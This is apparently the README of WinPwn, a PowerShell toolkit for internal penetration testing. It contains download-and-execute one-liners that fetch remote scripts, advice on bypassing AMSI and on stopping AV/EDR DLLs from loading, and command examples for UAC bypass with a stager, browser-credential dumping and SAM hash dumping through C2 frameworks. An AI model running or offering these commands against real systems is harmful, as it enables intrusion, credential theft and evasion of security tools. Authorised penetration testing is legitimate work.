WinPwn

In many past internal penetration tests I often had problems with the existing Powershell Recon / Exploitation scripts due to missing proxy support. I also often ran the same scripts one after the other to get information about the current system and/or the domain. To automate as many internal penetrationtest processes (reconnaissance as well as exploitation) and for the proxy reason I wrote my own script with automatic proxy recognition and integration. The script is mostly based on well-known large other offensive security Powershell projects.

Any suggestions, feedback, Pull requests and comments are welcome!

Just Import the Modules with:

Import-Module .\WinPwn.ps1 or iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')

To bypass AMSI take one of the existing bypass techniques, find the AMSI trigger and manually change it in the bypass function or encode the trigger string. Alternatively obfuscate the whole script.

If you are using ObfusWinPwn.ps1 - its now making use of the project https://amsi.fail/ by Flangvik, i am not responsible for the code hosted there - but the project is cool so im supporting it here.

To spawn a new protected PowerShell Process that is set to run with BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON process mitigation:

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/Obfus_SecurePS_WinPwn.ps1')

This prevents non-microsoft DLLs (e.g. AV/EDR products) to load into PowerShell.

If you find yourself stuck on a windows system with no internet access - no problem at all, just use Offline_Winpwn.ps1, the most important scripts and executables are included.

Without parameters, most of the functions can only be used from an interactive shell. So i decided to add the parameters -noninteractive and -consoleoutput to make the script usable from an asynchronous C2-Framework like Empire, Covenant, Cobalt Strike or others. They can be used as follows:

Usage:

-noninteractive -> No questions for functions so that they run with predefined or user defined parameters

-consoleoutput -> The loot/report folders are not created. Every function returns the output to the console so that you can take a look at everything in the Agent logs of your C2-Framework Examples:

WinPwn -noninteractive -consoleoutput -DomainRecon -> This will return every single domain recon script and function and will probably give you really much output

WinPwn -noninteractive -consoleoutput -Localrecon -> This will enumerate as much information for the local system as possible

Generalrecon -noninteractive -> Execute basic local recon functions and store the output in the corresponding folders

UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> Execute a stager in a high integrity process from a low privileged session

Kittielocal -noninteractive -consoleoutput -browsercredentials -> Dump Browser-Credentials via Sharpweb returning the output to console

Kittielocal -noninteractive -browsercredentials -> Dump SAM File NTLM-Hashes and store the output in a file

WinPwn -PowerSharpPack -consoleoutput -noninteractive -> Execute Seatbelt, PowerUp, Watson and more C# binaries in memory

Dotnetsearch -consoleoutput -noninteractive -> Search in C:\Program Files\ and C:\Program Files (x86)\ for .NET assemblies

TO-DO

  • Some obfuskation
  • More obfuscation
